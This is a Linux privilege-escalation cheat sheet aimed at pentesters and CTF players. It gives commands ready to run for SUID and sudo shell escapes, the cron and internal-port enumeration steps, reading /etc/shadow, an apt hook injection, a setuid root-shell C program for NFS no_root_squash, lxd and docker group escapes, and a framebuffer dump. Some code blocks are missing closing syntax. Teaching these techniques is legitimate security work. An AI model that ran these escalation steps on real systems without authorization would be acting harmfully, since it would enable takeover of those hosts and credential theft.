Linux Privilege Escalation

When enumerating a Linux system, there are an absolute tonne of scripts which can do all the dirty work for you:

The first thing you should do is run one or more of these, save the output they give you and just read them. Try to find any obvious things sticking out and don't rush to try kernel exploits even if you see them suggested here. Kernel exploits, while effective, will frequently crash the system if they fail and the last thing you want on an engagement is to perform a denial-of-service or annoy your fellow CTF players.

It also can't hurt to double-check by going through the following guides:

Put that c0w down and let's see how we can exploit the low hanging fruit.

SUID Applications and Sudo

The holy grail of Linux Privilege Escalation. This section will describe two attack vectors that are effectively the same, and that is of Linux applications running with elevated privileges. These can either be via sudo or the SUID/GUID bit, but in effect it's about taking an application that is running as a privileged user and performing code execution.

To find any SUID or GUID files run the following commands. Some binaries are moving away from the concept of SUID and towards capabilities, as there's very little reason for many binaries to have full privileged execution:

#Find SUID
find / -perm -u=s -type f 2>/dev/null

#Find GUID
find / -perm -g=s -type f 2>/dev/null

Also perform a check of any sudo commands you can run as a privileged user:

sudo -l

Check any binaries in the above lists, both what they do and the version number. Many older applications have vulnerabilities that can lead to code execution so that is also worth reading up on.

The following standard Unix tools have many easy ways to perform arbitrary code execution if you find yourself in a situation enabling you to execute them as a privileged user.

awk 'BEGIN {system("/bin/bash")}'
find / -exec bash -i \;
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;

From less you can go into vi, and then into a shell.

less /etc/shadow

You need to run more on a file that is bigger than your screen.

more /home/pelle/myfile
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

:set shell=/bin/bash:shell    
:diffpatch $(sh <&2 >&2) 

:py import os
:py os.system("/bin/bash")

Cron Jobs

Very simply, a cronjob is a task set on a timer, for example every 15 minutes or every 3rd day of the month. These tasks offer a whole avenue for exploitation as they are often quickly coded and can introduce all sorts of vulnerabilities.

Viewing /etc/crontab is of course the classic. The cron job format is in the following:

<minute> <hour> <day of month> <month> <day of week> <user> <command>

Ideally we'll have a vulnerable command being run that we can then exploit. The following files and commands are also worth enumerating to see if anything's been misconfigured and the cron itself is visible publicly.

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

In some situation, cron jobs may be hidden from all users, in a users own crontab. Running the below script will parse the active processes every second and output any changes, which may indicate a hidden cron job.


old=$(ps -eo command)
while true; do
  new=$(ps -eo command)
  diff <( echo "$old" ) <( echo "$new" )
  sleep 1

If the above fails to find anything, then the process may be too short lived to find. In this case, Dominic Breuker's pspy will allow more focused enumeration. Ideally a writeable file or script may form part of the cron jobs execution.

Various GNU Tools

It is highly recommended to refer to the bible of Linux wildcard injection: Unix Wildcards Gone Wild if the running processes utilizes wildcards and is a GNU program. This is quite common in CTF's as well as real-world systems.


Take the hypothetical example of an apt update command being run on a schedule. It's trivial to inject code to run with this by utilizing this, however you will need write permissions to the /etc/apt/apt.conf.d directory. This is normally root owned, but if you find yourself in the unlikely scenario of being able to write to it, say via social engineering or an arbitrary write, you can use pre and post hooks. Create a file in this directory called, for example, `1000-pwned` and the write your hooks within it:

APT::Update::Post-Invoke {"id > /tmp/whoami";};


Internal Ports

One critical task that you'll need to perform is querying for internal ports that aren't running externally. Ocassionally these will be running with either escalated privileges or will allow you to pivot to another user who might allow you to find another point to escalate. The classic is mysql, as this will often be running internally on 3306 but not externally.

Querying can be performed in the following manner:

netstat -tulpn    # net-tools
ss -tulpn         # most modern installations
sockstat -4       # freebsd

Then using either an SSH tunnel or a meterpreter instance, we can port-forward this to our attacking machine.

NFS Shares

If you find that a machine has a NFS share you might be able to use that to escalate privileges.

# First check if the target machine has any NFS shares
showmount -e

# If it does, then mount it to your filesystem
mount /tmp/

To see any available exports locally, the /etc/exports file will show all the required information. There are some options within this, related to each share, that it's important to keep track of.


Ideally, we'll see that no_root_squash or no_all_squash is enabled. When mounting an nsf drive remotely, or as any user, it will under default mount the drive as nfsnobody. If either of the above options are enabled however, it will allow you to create files as your own UID and GID, allowing you to impersonate users on the remote machine.

If you have write privileges you can create files. Test if you can create files, then check with your low-priv shell what user has created that file. If it says that it is the root-user that has created the file it is good news. Then you can create a file and set it with suid-permission from your attacking machine. And then execute it with your low privilege shell.

This code can be compiled and added to the share. Before executing it by your low-priv user make sure to set the suid-bit on it, like this:

chmod 4777 exploit
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main( int argc, char *argv[] )
    setreuid(0, 0);
    printf("ID: %d\n", geteuid());
    execve("/bin/sh", NULL, NULL);

You could also just generate a binary using msfvenom if desired, but this will require the PrependSetuid=True if spawning a /bin/bash shell.

Further Reading:
NFS, no_root_squash and SUID - Basic NFS Security

Abusing Excessive Groups

Often you'll find that a user has been made a member of a group that it needn't be a part of. From this you can abuse this to either leak information or compromise the system in unintended ways.

When first enumerating a group, see what it can access and what special permissions may be afforded it as so:

find / -group groupname 2>/dev/null

Secondly, it's probably a good idea to refer to the Debian Recommendations, and see exactly what each one controls. I'll explain the most common I've seen and how they might enable you to escalate your privileges.


The admin group, adm, allows the user to view logs in /var/log. Whilst this is not directly exploitable, it can be used to leak sensitive information, such as user actions, vulnerable applications and any potentially hidden cron-jobs.


If a member of the lxd group, the user can use this to escalate to root, and potentially escape any containers it is a member of.

ubuntu@ubuntu:~$ lxc init ubuntu:16.04 test -c security.privileged=true 
Creating test 
ubuntu@ubuntu:~$ lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
Device whatever added to test 
ubuntu@ubuntu:~$ lxc start test 
ubuntu@ubuntu:~$ lxc exec test bash

While you won't be able to run arbitrary code on the host directly, you can write and read any file with root privileges, allowing you to, for example, write a new root password in the /etc/shadow file.

The lxd-alpine-builder is ideal for engagements, as it's no larger than 4MB.


In much the same vein as lxd, we can utilise the docker group to get full root privileges.

docker run -v /:/mnt/rootfs -i -t chrisfosterelli/rootplease

Similarly, we can use the alpine docker image, if no useable containers are uploaded to the host.


The disk group gives the user full access to any block devices contained within /dev/. Since /dev/sda1 will in general be the global file-system, and the disk group will have full read-write privileges to this device:

brw-rw---- 1 root disk 8, 1 Feb  5 13:38 /dev/sda1

From this we can use debugfs to enumerate the entire disk with effectively root level privileges. We also have full read-write access to the disk block files, so we can extricate these or write arbitrary data to them. With the disk group, we are effectively root, just in a roundabout way.


The video group controls access to graphical output devices. The output to screen is stored within the framebuffer, which can be dumped to disk and converted to an image, using the following script:

#!/usr/bin/perl -w

$w = shift || 240;
$h = shift || 320;
$pixels = $w * $h;

open OUT, "|pnmtopng" or die "Can't pipe pnmtopng: $!\n";

printf OUT "P6%d %d\n255\n", $w, $h;

while ((read STDIN, $raw, 2) and $pixels--) {
   $short = unpack('S', $raw);
   print OUT pack("C3",
      ($short & 0xf800) >> 8,
      ($short & 0x7e0) >> 3,
      ($short & 0x1f) << 3);

close OUT;

We can run the above script in the following manner:

cp /dev/fb0 /tmp/fb0.raw
width=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f1)
height=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f2)
./raw2png $width $height < /tmp/fb0.raw > /tmp/fb0.png

This isn't directly exploitable, but utilized correctly can allow you to view a user with physical access' session and potentially leak information this way. On modern systems it's a slight pipe dream.

Alternative Script

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